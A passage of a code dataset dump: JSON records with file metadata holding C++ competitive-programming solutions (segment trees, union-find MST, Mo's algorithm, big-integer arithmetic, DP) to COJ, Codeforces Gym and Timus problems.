lazyS , nod , l , r );\n\n if( l == r ){\n return st[nod];\n }\n\n int mid = ( l + r ) / 2;\n if( pos <= mid ){\n int ls = nod*2;\n return query_st( st , lazyA , lazyS, ls , l , mid , pos );\n }\n\n int rs = nod*2 + 1;\n return query_st( st , lazyA , lazyS, rs , mid+1 , r , pos );\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n\tint tc; cin >> tc;\n\n\twhile( tc-- ){\n int n , m; cin >> m >> n;\n\n build_st( st[0] , lazyA[0] , lazyS[0] , 1 , 1 , n );\n build_st( st[1] , lazyA[1] , lazyS[1] , 1 , 1 , n );\n\n while( m-- ){\n char typ; cin >> typ;\n\n if( typ == 'U' ){\n char dir; cin >> dir;\n\n if( dir == 'E' ){\n int i, s, a, d; cin >> i >> s >> a >> d;\n update_st( st[0] , lazyA[0] , lazyS[0] , 1 , 1 , n , i , i + d - 1, s , a );\n }\n else{\n int i, s, a, d; cin >> i >> s >> a >> d;\n i = n - i + 1;\n\n update_st( st[1] , lazyA[1] , lazyS[1] , 1 , 1 , n , i , i + d - 1 , s , a );\n }\n }\n else{\n int pos; cin >> pos;\n cout << query_st( st[0] , lazyA[0] , lazyS[0] , 1 , 1 , n , pos ) +\n query_st( st[1] , lazyA[1] , lazyS[1] , 1 , 1 , n , n - pos + 1 ) << '\\n';\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.3838028311729431, "alphanum_fraction": 0.4154929518699646, "avg_line_length": 15.21212100982666, "blob_id": "c28f1e8f70a7a75edbdbc8af125e9d5751bf7b46", "content_id": "b36df32a0868321559b3be82a4501c1f225219b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 568, "license_type": "no_license", "max_line_length": 33, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p1301-Accepted-s551313.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint cant;\r\ndouble r;\r\nchar sol[1000];\r\nconst double PI = 2.0*asin(1);\r\nint main()\r\n{\r\n scanf(\"%lf\",&r);\r\n\r\n sprintf(sol,\"%.5lf\",PI*r*r);\r\n\r\n for(int i=0; cant<=5; i++)\r\n {\r\n char c=sol[i];\r\n if(c=='.')cant=1;\r\n if(cant)cant++;\r\n printf(\"%c\",c);\r\n }\r\n printf(\"\\n\");\r\n sprintf(sol,\"%.5lf\",2.0*r*r);\r\n cant=0;\r\n\r\n for(int i=0; cant<=5; i++)\r\n {\r\n char c=sol[i];\r\n if(c=='.')cant=1;\r\n if(cant)cant++;\r\n printf(\"%c\",c);\r\n }\r\n printf(\"\\n\");\r\n}\r\n" }, { "alpha_fraction": 0.3198138177394867, "alphanum_fraction": 0.35172873735427856, "avg_line_length": 24.491525650024414, "blob_id": "6ba3552251f998d1691293c62a530e008fd06257", "content_id": "819278bcb0589803ba8cd78b4800bc27b6fbedd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1504, "license_type": "no_license", "max_line_length": 115, "num_lines": 59, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 400;\n\npar xs[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\n int tc; cin >> tc;\n\n while( tc-- ){\n int n; cin >> n;\n\n for( int i = 0; i < n; i++ ){\n cin >> xs[i].first >> xs[i].second;\n }\n\n sort( xs , xs + n );\n\n int sol = 1000000000;\n\n for( int i = 0; i+n/2 < n; i++ ){\n vector<int> ys;\n for( int j = i; j < n; j++ ){\n ys.push_back( xs[j].second );\n int k = ys.size()-1;\n while( k > 0 && ys[k] < ys[k-1] ){\n swap( ys[k] , ys[k-1] );\n k--;\n }\n\n //sort( ys.begin() , ys.end() );\n\n for( int b = n/2; b < ys.size(); b++ ){\n /*cerr << \"--------------------------\\n\";\n cerr << i << ' ' << j << '\\n';\n cerr << b << '\\n';\n cerr << xs[j].first << ' ' << xs[i].first << \" ---- \" << ys[b] << ' ' << ys[b-n/2] << '\\n';*/\n // cerr << \"--------------------------\\n\";\n\n sol = min( sol , (xs[j].first - xs[i].first) * (ys[b] - ys[b-n/2]) );\n }\n }\n }\n\n cout << sol << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.37142857909202576, "alphanum_fraction": 0.38285714387893677, "avg_line_length": 12.75, "blob_id": "49145863e838fb2bae79c016c026b593f636545a", "content_id": "636210f2cc7820f42c3cf3b823b5c50bb0c62b96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 175, "license_type": "no_license", "max_line_length": 46, "num_lines": 12, "path": "/COJ/eliogovea-cojAC/eliogovea-p2148-Accepted-s552792.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint n,a,b,c;\r\n\r\nint main()\r\n{\r\n\tfor( scanf( \"%d\", &n ); n--; )\r\n\t{\r\n\t\tscanf( \"%d%d%d\", &a, &b, &c );\r\n\t\tprintf( \"%s\\n\", (b*b-4*a*c < 0)?\"NO\":\"SI\" );\r\n\t}\r\n}" }, { "alpha_fraction": 0.46182265877723694, "alphanum_fraction": 0.4729064106941223, "avg_line_length": 18.299999237060547, "blob_id": "aba72616470cdec7bc6bccf9a0d7f36c6aae4f2b", "content_id": "bd89ba47398359f517bd3dfe77e57d5cbe019db0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 812, "license_type": "no_license", "max_line_length": 71, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p1488-Accepted-s923263.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint x, y, d, n, dx[25], dy[25];\r\n\r\nmap <pair <int, int>, bool> dp;\r\n\r\nbool solve(int xx, int yy) {\r\n\tif (xx * xx + yy * yy > d * d) {\r\n\t\treturn true;\r\n\t}\r\n\tmap <pair <int, int>, bool>::iterator it = dp.find(make_pair(xx, yy));\r\n\tif (it != dp.end()) {\r\n\t\treturn it->second;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (!solve(xx + dx[i], yy + dy[i])) {\r\n\t\t\tdp[make_pair(xx, yy)] = true;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\tdp[make_pair(xx, yy)] = false;\r\n\treturn false;\r\n}\r\n\r\nconst string ans[] = {\"Ollie\", \"Stan\"};\r\n\r\nint main() {\r\n\t//ios::sync_with_stdio(false);\r\n\t//cin.tie(0);\r\n\tfor (int c = 0; c < 3; c++) {\r\n\t\tcin >> x >> y >> n >> d;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> dx[i] >> dy[i];\r\n\t\t}\r\n\t\tdp.clear();\r\n\t\tcout << ans[solve(x, y)] << \" wins\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3798117935657501, "alphanum_fraction": 0.40205302834510803, "avg_line_length": 19.508771896362305, "blob_id": "d213f30bd3b350b3d646c6d1547ddeec74756291", "content_id": "fc819504efbb8c6571f4a4d6f4054d2f4e823968", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1169, "license_type": "no_license", "max_line_length": 58, "num_lines": 57, "path": "/Codeforces-Gym/100801 - 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest\n// 100801E\n\n#include <bits/stdc++.h>\nusing namespace std;\ntypedef long long ll;\ntypedef pair<ll,ll> pll;\ntypedef pair<int,char> pic;\n\nstring str, num;\nstring proc(string &a ){\n string res = \"\";\n\n //cout << \"debug:\\n\";\n //cout << a << endl;\n if( a.size() == 1 )\n return a;\n for( int i = 0; i < a.size(); i++ ){\n res += a[i];\n if( i+1 < a.size() ){\n res += '+';\n if( a[i+1] != '0' ){\n res += a.substr( i+1, a.size()-i-1 );\n break;\n }\n }\n\n }\n return res;\n}\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n freopen(\"easy.in\",\"r\",stdin);\n freopen(\"easy.out\",\"w\",stdout);\n\n cin >> str;\n for( int i = 0; i < str.size(); i++ ){\n if( str[i] != '-' ){\n cout << str[i];\n //cout << \"j\";\n continue;\n }\n cout << \"-\";\n int x = i+1;\n num = \"\";\n while( isdigit(str[x]) && x < str.size() ){\n num += str[x];\n x++;\n }\n i = x-1;\n cout << proc( num );\n\n\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3672727346420288, "alphanum_fraction": 0.4036363661289215, "avg_line_length": 16.965517044067383, "blob_id": "0ef53fcd38ed2b84cf49f5b16c398e93aa99f01c", "content_id": "6d57c9342ce64a1f496894ac21514e8ca8ad00c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 550, "license_type": "no_license", "max_line_length": 51, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2956-Accepted-s758127.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst long long mod = 1e9 + 7;\r\nconst int N = 2000;\r\n\r\nlong long k, n, c[N + 5][N + 5], ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tc[i][0] = c[i][i] = 1;\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tc[i][j] = (c[i - 1][j - 1] + c[i - 1][j]) % mod;\r\n\t\t}\r\n\t}\r\n\twhile (cin >> n >> k) {\r\n\t\tans = 1;\r\n\t\tk = n / k;\r\n\t\tfor (int i = n; i > 0; i -= k) {\r\n\t\t\tans = (ans * c[i][k]) % mod;\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.428280770778656, "alphanum_fraction": 0.4455747604370117, "avg_line_length": 20.86046600341797, "blob_id": "1dbccafd745500f7b6fd1c9f08446c928efaf77d", "content_id": "60422ba5221b98e5ec7290ba57c5f37beff217c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 983, "license_type": "no_license", "max_line_length": 57, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2841-Accepted-s638727.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <queue>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\ntypedef pair<int, int> pii;\r\n\r\nint n, a[MAXN], L[MAXN], R[MAXN], sol;\r\npriority_queue<pii> Q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 1; i <= n; i++) cin >> a[i];\r\n\tn++;\r\n\tfor (int i = 1; i < n; i++) R[i] = n - 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\twhile (!Q.empty() && Q.top().first > a[i]) {\r\n\t\t\tR[Q.top().second] = i - 1;\r\n\t\t\tQ.pop();\r\n\t\t}\r\n\t\tQ.push(make_pair(a[i], i));\r\n\t}\r\n\twhile (!Q.empty()) Q.pop();\r\n\tfor (int i = 1; i < n; i++) L[i] = 1;\r\n\tfor (int i = n - 1; i; i--) {\r\n\t\twhile (!Q.empty() && Q.top().first > a[i]) {\r\n\t\t\tL[Q.top().second] = i + 1;\r\n\t\t\tQ.pop();\r\n\t\t}\r\n\t\tQ.push(make_pair(a[i], i));\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n //cout << a[i] << ' ' << L[i] << ' ' << R[i] << '\\n';\r\n sol = max(sol, a[i] * (R[i] - L[i] + 1));\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.33433735370635986, "alphanum_fraction": 0.40060240030288696, "avg_line_length": 13.809523582458496, "blob_id": "fc3d4ce10bb701e66e411931d08915fa6c148b45", "content_id": "a85fc599dfaaa5166da60207111751d66dbb6738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 332, "license_type": "no_license", "max_line_length": 38, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2638-Accepted-s529055.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nconst int mod = 100999;\r\n\r\nlong dp[2001];\r\nint c,n;\r\n\r\nint main()\r\n{\r\n dp[0]=1;\r\n for(int i=1; i<=2000; i++)\r\n for(int j=2000; j>=i; j--)\r\n dp[j]=(dp[j]+dp[j-i])%mod;\r\n\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%d\\n\",dp[n]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.42657342553138733, "alphanum_fraction": 0.503496527671814, "avg_line_length": 17.066667556762695, "blob_id": "2776391b4f45e332b74007b6feb8f0d3c7ff0cf1", "content_id": "18f8a45a368fbeb1e6f51e20e6549771f91c0b20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 286, "license_type": "no_license", "max_line_length": 53, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2767-Accepted-s609984.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 1000000;\r\nconst ll mod = 1000000007;\r\n\r\nint n;\r\nll a[MAXN + 10];\r\n\r\nint main() {\r\n\tfor (ll i = 1ll; i <= (ll)MAXN; i++)\r\n\t\ta[i] = (a[i - 1] + (i * i) % mod) % mod;\r\n\twhile (scanf(\"%d\", &n) == 1) printf(\"%lld\\n\", a[n]);\r\n}\r\n" }, { "alpha_fraction": 0.42788171768188477, "alphanum_fraction": 0.44417622685432434, "avg_line_length": 19.712499618530273, "blob_id": "4de2b09770494e89445dd3b095d0557020ec092a", "content_id": "205668c2717512a7ebb4a4c046bb612401b57ddd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1657, "license_type": "no_license", "max_line_length": 66, "num_lines": 80, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nconst int MAXN = 1010;\ntypedef long long ll;\ntypedef pair<double,int> pdi;\ntypedef tuple<int,int,int> edge;\nint distan( const string &a, const string &b ){\n int res = 0;\n for( int i = 0; i < a.size(); i++ )\n res = max(res, abs( a[i]-b[i] ));\n return res;\n}\nint P[MAXN*MAXN],\n ran[MAXN*MAXN];\nvoid makeSet( int x ){\n P[x] = x;\n ran[x] = 1;\n}\nint findSet( int x ){\n if( P[x] != x )\n return P[x] = findSet( P[x] );\n return P[x];\n}\n\nbool joinSet( int x, int y ){\n int px = findSet(x),\n py = findSet(y);\n if( px == py )\n return false;\n\n if( ran[px] > ran[py] ){\n P[py] = px;\n ran[px] += ran[py];\n }\n else{\n P[px] = py;\n ran[py] += ran[px];\n }\n return true;\n}\n\nint n, l;\nstring nod[MAXN];\nvector<edge> e;\n\nint main(){\n ios::sync_with_stdio(false);\n cin.tie(0);\n ///freopen(\"data.txt\", \"r\",stdin);\n cin >> n >> l;\n for( int i = 1; i <= n; i++ ){\n cin >> nod[i];\n makeSet( i );\n }\n\n for( int i = 1; i <= n; i++ )\n for( int j = i+1; j <= n; j++ ){\n int dist = distan( nod[i], nod[j] );\n e.emplace_back( dist, i, j );\n //cout << i << \" \" << j << \" \" << dist << endl;\n }\n sort( e.begin(), e.end() );\n int sol = 0;\n\n for( int i = 0; i < e.size(); i++ ){\n if( joinSet( get<1>(e[i]), get<2>(e[i]) ) ){\n sol = get<0>(e[i]);\n n--;\n if( n==1 )\n break;\n }\n\n }\n cout << sol << endl;\n\n}\n" }, { "alpha_fraction": 0.3247256278991699, "alphanum_fraction": 0.36216914653778076, "avg_line_length": 18.362499237060547, "blob_id": "0b2182bf8e93dd9e62b013d0faa86c7cd995eda8", "content_id": "441b9852726170ffdefa223e6298dc026e0d510b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1549, "license_type": "no_license", "max_line_length": 58, "num_lines": 80, "path": "/Caribbean-Training-Camp-2017/Contest_5/Solutions/F5.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = (1 << 21) + 10;\n\nint n, m, k, a[100 * 1000 + 10], xa[100 * 1000 + 10];\nlong long cnt[N];\nlong long ans[100 * 1000 + 10];\n\nstruct query {\n int l, r, id;\n};\n\nint BSIZE;\n\nbool operator < (const query &a, const query &b) {\n if (a.l / BSIZE != b.l / BSIZE) {\n return a.l < b.l;\n }\n return a.r < b.r;\n}\n\nquery q[100 * 1000 + 10];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n // freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> m >> k;\n for (int i = 1; i <= n; i++) {\n cin >> a[i];\n xa[i] = xa[i - 1] ^ a[i];\n }\n\n for (int i = 0; i < m; i++) {\n cin >> q[i].l >> q[i].r;\n q[i].l--;\n q[i].id = i;\n }\n\n BSIZE = 1 + sqrt((double)n);\n\n int l = 0;\n int r = 0;\n long long total = 0;\n cnt[0]++;\n sort(q, q + m);\n\n for (int i = 0; i < m; i++) {\n while (r < q[i].r) {\n total += cnt[xa[r + 1] ^ k];\n cnt[xa[r + 1]]++;\n r++;\n }\n while (r > q[i].r) {\n total -= cnt[xa[r] ^ k] - (long long)(k == 0);\n cnt[xa[r]]--;\n r--;\n }\n while (l < q[i].l) {\n total -= cnt[xa[l] ^ k] - (long long)(k == 0);\n cnt[xa[l]]--;\n l++;\n }\n while (l > q[i].l) {\n total += cnt[xa[l - 1] ^ k];\n cnt[xa[l - 1]]++;\n l--;\n }\n ans[q[i].id] = total;\n }\n\n for (int i = 0; i < m; i++) {\n cout << ans[i] << \"\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.49660441279411316, "alphanum_fraction": 0.5076400637626648, "avg_line_length": 22.040817260742188, "blob_id": "12af7757a3d852ee1bd7feb77795c5ce01839822", "content_id": "b9006b401bd37d0258b9a921443eb72a57f7ec84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1178, "license_type": "no_license", "max_line_length": 76, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p1443-Accepted-s608896.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000010;\r\n\r\ntypedef pair<int, pair<int, int> > edge;\r\n\r\nint n, m, p[MAXN], rank[MAXN], sol, cant;\r\nvector<edge> edges;\r\n\r\ninline int find(int x) {\r\n\tif (x != p[x]) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\ninline bool join(int x, int y) {\r\n\tint px = find(x), py = find(y);\r\n\tif (px == py) return false;\r\n\tif (rank[px] > rank[py]) p[py] = px;\r\n\telse if (rank[px] < rank[py]) p[px] = py;\r\n\telse {\r\n\t\tp[px] = py;\r\n\t\trank[py]++;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\twhile (scanf(\"%d%d\", &n, &m) && (n | m)) {\r\n\t\tfor (int i = 0; i < n; i++) p[i] = i, rank[i] = 1;\r\n\t\tedges.clear();\r\n\t\tsol = cant = 0;\r\n\t\tfor (int i = 0, a, b, c; i < m; i++) {\r\n\t\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\t\tedges.push_back(make_pair(c, make_pair(a, b)));\r\n\t\t}\r\n\t\tsort(edges.begin(), edges.end());\r\n\t\tfor (vector<edge>::iterator it = edges.begin(); it != edges.end(); it++) {\r\n if (cant == n - 1) break;\r\n if (join((it->second).first, (it->second).second))\r\n\t\t\t\tsol = max(sol, it->first), cant++;\r\n\t\t}\r\n\r\n\t\tif (cant == n - 1) printf(\"%d\\n\", sol);\r\n\t\telse printf(\"IMPOSSIBLE\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3615676462650299, "alphanum_fraction": 0.4159291982650757, "avg_line_length": 19.28205108642578, "blob_id": "c0486219178398c7ac3cb481b16af658b69f17f1", "content_id": "3406c6aab02c05c98a256060c2eef172d64b9ad9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 791, "license_type": "no_license", "max_line_length": 68, "num_lines": 39, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long double LD;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n\n int n, k;\n cin >> n >> k;\n\n vector <vector <LD> > f(k + 1, vector <LD> (n + 1));\n\n f[0][0] = 1.0;\n\n for (int i = 0; i < k; i++) {\n for (int c = 0; c < n; c++) {\n f[i + 1][c] += (LD)0.5 * f[i][c];\n f[i + 1][c + 1] += (LD)0.5 * f[i][c];\n }\n f[i + 1][n] += (LD)0.5 * f[i][n];\n f[i + 1][n - 1] += (LD)0.5 * f[i][n];\n }\n\n LD ans = 0.0;\n for (int i = 1; i <= n; i++) {\n ans += f[k][i] * (LD)i;\n }\n\n cout.precision(13);\n cout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3531114459037781, "alphanum_fraction": 0.40231549739837646, "avg_line_length": 15.853658676147461, "blob_id": "ad012de232d8d9ad965fce8f5185a4140ec3ee59", "content_id": "6d58dfede3e39559fb2f6303079132de13a7a4b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 691, "license_type": "no_license", "max_line_length": 58, "num_lines": 41, "path": "/Codeforces-Gym/101064 - 2016 USP Try-outs/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016 USP Try-outs\n// 101064F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint solve( int n, int i, int pp = 1 ){\n if( ( i % 2 ) == pp ){\n return (i+1)/2;\n }\n\n if( n % 2 == 0 ){\n return (n/2) + solve( n / 2 , (i+1)/2 , pp );\n }\n else{\n if( pp ){\n return (n+1)/2 + solve( n/2, (i+1)/2, pp^1 );\n }\n else{\n return n/2 + solve( (n+1)/2 , (i+1)/2, pp^1 );\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n int n, i; cin >> n >> i;\n\n cout << solve( n , i ) << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.46317511796951294, "alphanum_fraction": 0.49263501167297363, "avg_line_length": 15.5, "blob_id": "9f1db7a042df7ee04d69e8fcec20b8630f8aceb8", "content_id": "7cadefa6deeb56a751ddf84b1f354820f1c77675", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1222, "license_type": "no_license", "max_line_length": 44, "num_lines": 70, "path": "/Timus/1402-6765249.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1402\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ULL;\r\n\r\ntypedef vector <int> BigInt;\r\n\r\nconst BigInt ZERO(1, 0);\r\nconst BigInt ONE(1, 1);\r\n\r\nBigInt add(BigInt &a, BigInt &b) {\r\n\tBigInt res(max(a.size(), b.size()), 0);\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < res.size(); i++) {\r\n\t\tif (i < a.size()) {\r\n\t\t\tcarry += a[i];\r\n\t\t}\r\n\t\tif (i < b.size()) {\r\n\t\t\tcarry += b[i];\r\n\t\t}\r\n\t\tres[i] = carry % 10;\r\n\t\tcarry /= 10;\r\n\t}\r\n\tif (carry) {\r\n\t\tres.push_back(carry);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nBigInt mul(BigInt &a, int v) {\r\n\tBigInt res(a.size(), 0);\r\n\tint carry = 0;\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tcarry += v * a[i];\r\n\t\tres[i] = carry % 10;\r\n\t\tcarry /= 10;\r\n\t}\r\n\twhile (carry) {\r\n\t\tres.push_back(carry % 10);\r\n\t\tcarry /= 10;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tULL n;\r\n\tcin >> n;\r\n\tif (n == 1ULL) {\r\n\t\tcout << \"0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tBigInt ans = ONE;\r\n\tans = mul(ans, n);\r\n\tans = mul(ans, n - 1);\r\n\tBigInt cur = ans;\r\n\tfor (ULL p = n - 2; p >= 1; p--) {\r\n\t\tcur = mul(cur, p);\r\n\t\tans = add(ans, cur);\r\n\t}\r\n\tfor (int i = ans.size() - 1; i >= 0; i--) {\r\n\t\tcout << ans[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36083877086639404, "alphanum_fraction": 0.3722766935825348, "avg_line_length": 23.479999542236328, "blob_id": "72145c029be7313ae7b6963581751c222c690cec", "content_id": "a9241ebc85bb79674098a70788168d1d799c13b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3672, "license_type": "no_license", "max_line_length": 78, "num_lines": 150, "path": "/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 1000010;\n\ntypedef pair<ll,ll> par;\ntypedef pair<ll,par> line;\n\nline l[MAXN];\nline h[MAXN];\nline v[MAXN];\n\nint enqh , deqh , enqv , deqv;\n\nbool ok( line l , bool ho ){\n if( ho ){\n ll al = min( l.second.first , l.second.second );\n ll bl = max( l.second.first , l.second.second );\n\n for( int i = deqv; i < enqv; i++ ){\n ll av = min( v[i].second.first , v[i].second.second );\n ll bv = max( v[i].second.first , v[i].second.second );\n\n if( al <= v[i].first && v[i].first <= bl &&\n av <= l.first && l.first <= bv ){\n return false;\n }\n }\n\n for( int i = deqh; i < enqh; i++ ){\n ll ah = min( h[i].second.first , h[i].second.second );\n ll bh = max( h[i].second.first , h[i].second.second );\n\n if( l.first == h[i].first &&\n ( (al <= ah && ah <= bl) || (al <= bh && bh <= bl) ) ){\n return false;\n }\n }\n }\n else{\n ll al = min( l.second.first , l.second.second );\n ll bl = max( l.second.first , l.second.second );\n\n for( int i = deqh; i < enqh; i++ ){\n ll ah = min( h[i].second.first , h[i].second.second );\n ll bh = max( h[i].second.first , h[i].second.second );\n\n if( al <= h[i].first && h[i].first <= bl &&\n ah <= l.first && l.first <= bh ){\n return false;\n }\n }\n\n for( int i = deqv; i < enqv; i++ ){\n ll av = min( v[i].second.first , v[i].second.second );\n ll bv = max( v[i].second.first , v[i].second.second );\n\n if( l.first == v[i].first &&\n ( (al <= av && av <= bl) || (al <= bv && bv <= bl) ) ){\n return false;\n }\n }\n }\n\n return true;\n}\n\nconst int MAXC = 15;\n\nvoid addline( line l , bool ho ){\n if( ho ){\n h[enqh++] = l;\n\n if( enqh - deqh >= MAXC ){\n deqh++;\n }\n }\n else{\n v[enqv++] = l;\n\n if( enqv - deqv >= MAXC ){\n deqv++;\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n;\n\n while( cin >> n ){\n enqh = deqh = enqv = deqv = 0;\n\n par p = par( 0 , 0 );\n\n ll aa; cin >> aa;\n\n l[0] = line( p.first , par( p.second , p.second + aa ) );\n p.second += aa;\n\n for( int i = 1; i < n; i++ ){\n ll a; cin >> a;\n\n if( !(i & 1) ){ // vertical\n if( !(( i / 2 ) & 1) ){ // north\n l[i] = line( p.first , par( p.second+1 , p.second + a ) );\n p.second += a;\n }\n else{ // south\n l[i] = line( p.first , par( p.second-1 , p.second - a ) );\n p.second -= a;\n }\n 